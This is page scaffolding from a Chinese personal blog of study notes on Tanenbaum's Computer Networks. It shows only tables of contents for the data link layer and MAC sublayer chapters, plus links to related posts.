href="#%E6%97%A0%E9%94%99%E4%BF%A1%E9%81%93%E4%B8%8A%E7%9A%84%E5%8D%95%E5%B7%A5%E5%81%9C-%E7%AD%89%E5%BC%8F%E5%8D%8F%E8%AE%AE%EF%BC%88Simplex-Stop-and-Wait-Protocol-for-an-Error-Free-Channel%EF%BC%89"><span class="toc-number">3.2.</span> <span class="toc-text">无错信道上的单工停-等式协议（Simplex Stop and Wait Protocol for an Error-Free Channel）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%89%E9%94%99%E4%BF%A1%E9%81%93%E4%B8%8A%E7%9A%84%E5%8D%95%E5%B7%A5%E5%81%9C-%E7%AD%89%E5%BC%8F%E5%8D%8F%E8%AE%AE%EF%BC%88Simplex-Stop-and-Wait-Protocol-for-a-Noisy-Channel%EF%BC%89"><span class="toc-number">3.3.</span> <span class="toc-text">有错信道上的单工停-等式协议（Simplex Stop-and-Wait Protocol for a Noisy Channel）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.</span> <span class="toc-text">滑动窗口协议</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-%E4%BD%8D%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.1.</span> <span class="toc-text">1 位滑动窗口协议</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9B%9E%E9%80%80N%E5%8D%8F%E8%AE%AE%EF%BC%88go-back-n%EF%BC%89"><span class="toc-number">4.2.</span> <span class="toc-text">回退N协议（go back n）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AE%A1%E9%81%93%E5%8C%96%E7%AD%96%E7%95%A5%EF%BC%88Pipelining-Strategies%EF%BC%89"><span class="toc-number">4.2.1.</span> <span class="toc-text">管道化策略（Pipelining Strategies）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E5%92%8C%E8%A7%A3%E5%86%B3"><span class="toc-number">4.2.2.</span> <span class="toc-text">问题和解决</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E4%B8%8E%E7%BC%93%E5%AD%98"><span class="toc-number">4.2.3.</span> <span class="toc-text">带宽与缓存</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%80%E5%A4%A7%E5%BA%8F%E5%8F%B7%E4%B8%8E%E5%8F%91%E9%80%81%E7%AA%97%E5%8F%A3%E5%A4%A7%E5%B0%8F"><span class="toc-number">4.2.4.</span> <span class="toc-text">最大序号与发送窗口大小</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%B4%AF%E8%AE%A1%E7%A1%AE%E8%AE%A4%EF%BC%88cumulative-acknowledgement%EF%BC%89"><span class="toc-number">4.2.5.</span> <span class="toc-text">累计确认（cumulative acknowledgement）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88timer%EF%BC%89"><span class="toc-number">4.2.6.</span> <span class="toc-text">计时器（timer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%80%89%E6%8B%A9%E9%87%8D%E4%BC%A0%E5%8D%8F%E8%AE%AE%EF%BC%88selective-repeat%EF%BC%89"><span class="toc-number">4.3.</span> <span class="toc-text">选择重传协议（selective repeat）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%91%E9%80%81-%E6%8E%A5%E6%94%B6%E7%AA%97%E5%8F%A3"><span class="toc-number">4.3.1.</span> <span class="toc-text">发送 &#x2F; 接收窗口</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E9%A1%BA%E5%BA%8F%E6%8E%A5%E6%94%B6"><span class="toc-number">4.3.2.</span> <span class="toc-text">非顺序接收</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%80%E5%A4%A7%E5%BA%8F%E5%8F%B7%E4%B8%8E%E6%8E%A5%E6%94%B6%E7%AA%97%E5%8F%A3%E5%A4%A7%E5%B0%8F"><span class="toc-number">4.3.3.</span> <span class="toc-text">最大序号与接收窗口大小</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BC%93%E5%86%B2%E5%8C%BA%E4%B8%8E%E8%AE%A1%E6%97%B6%E5%99%A8"><span class="toc-number">4.3.4.</span> <span class="toc-text">缓冲区与计时器</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9B%B4%E5%8A%A0%E6%9C%89%E6%95%88%E7%9A%84%E7%AD%96%E7%95%A5%E6%9D%A5%E5%A4%84%E7%90%86%E9%94%99%E8%AF%AF"><span class="toc-number">4.3.5.</span> <span class="toc-text">更加有效的策略来处理错误</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%80%A7%E8%83%BD%EF%BC%88performance%EF%BC%89"><span class="toc-number">4.3.6.</span> <span class="toc-text">性能（performance）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E5%8D%8F%E8%AE%AE%E5%AE%9E%E4%BE%8B"><span class="toc-number">5.</span> <span class="toc-text">数据链路层协议实例</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#SONET%E4%B8%8A%E7%9A%84%E6%95%B0%E6%8D%AE%E5%8C%85%EF%BC%88Packet-over-SONET%EF%BC%89"><span class="toc-number">5.1.</span> <span class="toc-text">SONET上的数据包（Packet over SONET）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#PPP-%E7%89%B9%E6%80%A7"><span class="toc-number">5.1.1.</span> <span class="toc-text">PPP 特性</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PPP-%E5%92%8C-HDLC"><span class="toc-number">5.1.2.</span> <span class="toc-text">PPP 和 HDLC</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%82%B9%E5%88%B0%E7%82%B9%E9%80%9A%E4%BF%A1"><span class="toc-number">5.1.3.</span> <span class="toc-text">点到点通信</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PPP-%E5%B8%A7%E6%A0%BC%E5%BC%8F"><span class="toc-number">5.1.4.</span> <span class="toc-text">PPP 帧格式</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8A%B6%E6%80%81%E6%9C%BA"><span class="toc-number">5.1.5.</span> <span class="toc-text">状态机</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AF%B9%E7%A7%B0%E6%95%B0%E5%AD%97%E7%94%A8%E6%88%B7%E7%BA%BF%EF%BC%88ADSL-%EF%BC%88Asymmetric-Digital-Subscriber-Loop%EF%BC%89"><span class="toc-number">5.2.</span> <span class="toc-text">对称数字用户线（ADSL, （Asymmetric Digital Subscriber Loop）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">6.</span> <span class="toc-text">总结</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" 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 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/14/Notes/Computer%20Networks/The-Medium-Access-Control-Sublayer/">https://jckling.github.io/2018/06/14/Notes/Computer Networks/The-Medium-Access-Control-Sublayer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a 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is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D%E9%97%AE%E9%A2%98"><span class="toc-number">1.</span> <span class="toc-text">信道分配问题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D"><span class="toc-number">1.1.</span> <span class="toc-text">静态信道分配</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8A%A8%E6%80%81%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D%E7%9A%84%E5%81%87%E8%AE%BE"><span class="toc-number">1.2.</span> <span class="toc-text">动态信道分配的假设</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.</span> <span class="toc-text">多路访问协议</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#ALOHA"><span class="toc-number">2.1.</span> <span class="toc-text">ALOHA</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BA%AF-ALOHA-pure-%E6%97%B6%E9%97%B4%E8%BF%9E%E7%BB%AD"><span class="toc-number">2.1.1.</span> <span class="toc-text">纯 ALOHA (pure) 时间连续</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E6%A7%BD-ALOHA"><span class="toc-number">2.1.2.</span> <span class="toc-text">分槽 ALOHA</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BD%BD%E6%B3%A2%E4%BE%A6%E5%90%AC%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.2.</span> <span class="toc-text">载波侦听多路访问协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9D%9A%E6%8C%81%E5%92%8C%E9%9D%9E%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.</span> <span class="toc-text">坚持和非坚持 CSMA</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#1-%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.1.</span> <span class="toc-text">1-坚持 CSMA</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E9%9D%9E%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.2.</span> <span class="toc-text">非坚持 CSMA</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#p-%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.3.</span> <span class="toc-text">p-坚持 CSMA</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E4%BF%A1%E9%81%93%E4%BD%BF%E7%94%A8%E7%8E%87%E4%B8%8E%E8%B4%9F%E8%BD%BD%E6%AF%94%E8%BE%83"><span class="toc-number">2.2.1.4.</span> <span class="toc-text">信道使用率与负载比较</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%86%B2%E7%AA%81%E6%A3%80%E6%B5%8B%E7%9A%84-CSMA%EF%BC%88CSMA-CD-CSMA-with-Collision-Detection%EF%BC%89"><span class="toc-number">2.2.2.</span> <span class="toc-text">带冲突检测的 CSMA（CSMA&#x2F;CD, CSMA with Collision Detection）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.</span> <span class="toc-text">以太网</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.1.</span> <span class="toc-text">经典以太网</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91%E7%89%A9%E7%90%86%E5%B1%82"><span class="toc-number">3.1.1.</span> <span class="toc-text">经典以太网物理层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91-MAC-%E5%AD%90%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.1.2.</span> <span class="toc-text">经典以太网 MAC 子层协议</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91%E5%B8%A7%E7%BB%93%E6%9E%84"><span class="toc-number">3.1.3.</span> <span class="toc-text">以太网帧结构</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%8C%87%E6%95%B0%E5%90%8E%E9%80%80%E7%9A%84-CSMA-CA"><span class="toc-number">3.1.4.</span> <span class="toc-text">二进制指数后退的 CSMA&#x2F;CA</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91%E6%80%A7%E8%83%BD"><span class="toc-number">3.1.5.</span> <span class="toc-text">以太网性能</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E5%BC%8F%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.2.</span> <span class="toc-text">交换式以太网</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%86%B2%E7%AA%81%E5%9F%9F%EF%BC%88collision-domain%EF%BC%89"><span class="toc-number">3.2.1.</span> <span class="toc-text">冲突域（collision domain）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84%E5%A5%BD%E5%A4%84"><span class="toc-number">3.2.2.</span> <span class="toc-text">交换机的好处</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BF%AB%E9%80%9F%E4%BB%A5%E5%A4%AA%E7%BD%91-802-3u-1995"><span class="toc-number">3.2.3.</span> <span class="toc-text">快速以太网 802.3u, 1995</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8D%83%E5%85%86%E4%BB%A5%E5%A4%AA%E7%BD%91-802-3ab-1999"><span class="toc-number">3.2.4.</span> <span class="toc-text">千兆以太网 802.3ab, 1999</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%87%E5%85%86%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.2.5.</span> <span class="toc-text">万兆以太网</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91%E5%9B%9E%E9%A1%BE"><span class="toc-number">3.3.</span> <span class="toc-text">以太网回顾</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91"><span class="toc-number">4.</span> <span class="toc-text">无线局域网*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84%E5%92%8C%E5%8D%8F%E8%AE%AE%E6%A0%88"><span class="toc-number">4.1.</span> <span class="toc-text">802.11 体系结构和协议栈</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-%E7%89%A9%E7%90%86%E5%B1%82"><span class="toc-number">4.2.</span> <span class="toc-text">802.11 物理层</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-MAC-%E5%AD%90%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.3.</span> <span class="toc-text">802.11 MAC 子层协议</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#802-11-%E5%B8%A7%E7%BB%93%E6%9E%84"><span class="toc-number">4.4.</span> <span class="toc-text">802.11 帧结构</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1"><span class="toc-number">4.5.</span> <span class="toc-text">服务</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%AE%BD%E5%B8%A6%E6%97%A0%E7%BA%BF"><span class="toc-number">5.</span> <span class="toc-text">宽带无线*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%93%9D%E7%89%99"><span class="toc-number">6.</span> <span class="toc-text">蓝牙*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#RFID-%E2%80%94%E2%80%94-%E6%97%A0%E7%BA%BF%E9%A2%91%E5%B0%84%E8%AF%86%E5%88%AB"><span class="toc-number">7.</span> <span class="toc-text">RFID —— 无线频射识别*</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E4%BA%A4%E6%8D%A2"><span class="toc-number">8.</span> <span class="toc-text">数据链路层交换</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BD%91%E6%A1%A5%E7%9A%84%E4%BD%BF%E7%94%A8"><span class="toc-number">8.1.</span> <span class="toc-text">网桥的使用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%A6%E4%B9%A0%E7%BD%91%E6%A1%A5"><span class="toc-number">8.2.</span> <span class="toc-text">学习网桥</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E8%BF%87%E7%A8%8B"><span class="toc-number">8.2.1.</span> <span class="toc-text">路由过程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%90%8E%E5%90%91%E5%AD%A6%E4%B9%A0%E7%AE%97%E6%B3%95"><span class="toc-number">8.2.2.</span> <span class="toc-text">后向学习算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E6%A1%A5%E8%AE%BE%E8%AE%A1"><span class="toc-number">8.2.3.</span> <span class="toc-text">网桥设计</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%9F%E6%88%90%E6%A0%91%E7%BD%91%E6%A1%A5"><span class="toc-number">8.3.</span> <span class="toc-text">生成树网桥</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%9F%E6%88%90%E6%A0%91%E7%AE%97%E6%B3%95%EF%BC%88STA-Spanning-Tree-Algorithm%EF%BC%89"><span class="toc-number">8.3.1.</span> <span class="toc-text">生成树算法（STA ,Spanning Tree Algorithm）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E7%BB%A7%E5%99%A8%EF%BC%8C%E9%9B%86%E7%BA%BF%E5%99%A8%EF%BC%8C%E7%BD%91%E6%A1%A5%EF%BC%8C%E4%BA%A4%E6%8D%A2%E6%9C%BA%EF%BC%8C%E8%B7%AF%E7%94%B1%EF%BC%8C%E7%BD%91%E5%85%B3"><span class="toc-number">8.4.</span> <span class="toc-text">中继器，集线器，网桥，交换机，路由，网关</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%A9%E7%90%86%E5%B1%82"><span class="toc-number">8.4.1.</span> <span class="toc-text">物理层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82"><span class="toc-number">8.4.2.</span> <span class="toc-text">数据链路层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82"><span class="toc-number">8.4.3.</span> <span class="toc-text">网络层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82"><span class="toc-number">8.4.4.</span> <span class="toc-text">传输层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8%E5%B1%82"><span class="toc-number">8.4.5.</span> <span class="toc-text">应用层</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E9%9B%86%E7%BA%BF%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB"><span class="toc-number">8.4.6.</span> <span class="toc-text">交换机和集线器的区别</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB"><span class="toc-number">8.4.7.</span> <span class="toc-text">交换机和路由器的区别</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%99%9A%E6%8B%9F%E5%B1%80%E5%9F%9F%E7%BD%91%EF%BC%88VALN%EF%BC%89"><span class="toc-number">8.5.</span> <span class="toc-text">虚拟局域网（VALN）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#IEEE-802-1Q-%E6%A0%87%E5%87%86"><span class="toc-number">8.5.1.</span> <span class="toc-text">IEEE 802.1Q 标准</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#VLAN-%E4%B8%AD%E7%BB%A7%EF%BC%88Trunking%EF%BC%89"><span class="toc-number">8.5.2.</span> <span class="toc-text">VLAN 中继（Trunking）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IEEE-802-1Q-%E5%B8%A7"><span class="toc-number">8.5.3.</span> <span class="toc-text">IEEE 802.1Q 帧</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas 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2018-06-13</div><div class="title">《计算机网络（英文版·第5版）》 The Introduction</div></div></a></div><div><a href="/2018/06/15/Notes/Computer%20Networks/The-Network-Layer/" title="《计算机网络（英文版·第5版）》 The Network Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-15</div><div class="title">《计算机网络（英文版·第5版）》 The Network Layer</div></div></a></div><div><a href="/2018/06/13/Notes/Computer%20Networks/The-Physical-Layer/" title="《计算机网络（英文版·第5版）》 The Physical Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-13</div><div class="title">《计算机网络（英文版·第5版）》 The Physical Layer</div></div></a></div><div><a href="/2018/06/22/Notes/Computer%20Networks/The-Transport-Layer/" title="《计算机网络（英文版·第5版）》 The Transport Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-22</div><div class="title">《计算机网络（英文版·第5版）》 The Transport Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D%E9%97%AE%E9%A2%98"><span class="toc-number">1.</span> <span class="toc-text">信道分配问题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D"><span class="toc-number">1.1.</span> <span class="toc-text">静态信道分配</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8A%A8%E6%80%81%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D%E7%9A%84%E5%81%87%E8%AE%BE"><span class="toc-number">1.2.</span> <span class="toc-text">动态信道分配的假设</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.</span> <span class="toc-text">多路访问协议</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#ALOHA"><span class="toc-number">2.1.</span> <span class="toc-text">ALOHA</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BA%AF-ALOHA-pure-%E6%97%B6%E9%97%B4%E8%BF%9E%E7%BB%AD"><span class="toc-number">2.1.1.</span> <span class="toc-text">纯 ALOHA (pure) 时间连续</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E6%A7%BD-ALOHA"><span class="toc-number">2.1.2.</span> <span class="toc-text">分槽 ALOHA</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BD%BD%E6%B3%A2%E4%BE%A6%E5%90%AC%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.2.</span> <span class="toc-text">载波侦听多路访问协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9D%9A%E6%8C%81%E5%92%8C%E9%9D%9E%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.</span> <span class="toc-text">坚持和非坚持 CSMA</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#1-%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.1.</span> <span class="toc-text">1-坚持 CSMA</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E9%9D%9E%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.2.</span> <span class="toc-text">非坚持 CSMA</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#p-%E5%9D%9A%E6%8C%81-CSMA"><span class="toc-number">2.2.1.3.</span> <span class="toc-text">p-坚持 CSMA</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E4%BF%A1%E9%81%93%E4%BD%BF%E7%94%A8%E7%8E%87%E4%B8%8E%E8%B4%9F%E8%BD%BD%E6%AF%94%E8%BE%83"><span class="toc-number">2.2.1.4.</span> <span class="toc-text">信道使用率与负载比较</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%86%B2%E7%AA%81%E6%A3%80%E6%B5%8B%E7%9A%84-CSMA%EF%BC%88CSMA-CD-CSMA-with-Collision-Detection%EF%BC%89"><span class="toc-number">2.2.2.</span> <span class="toc-text">带冲突检测的 CSMA（CSMA&#x2F;CD, CSMA with Collision Detection）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.</span> <span class="toc-text">以太网</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91"><span class="toc-number">3.1.</span> <span 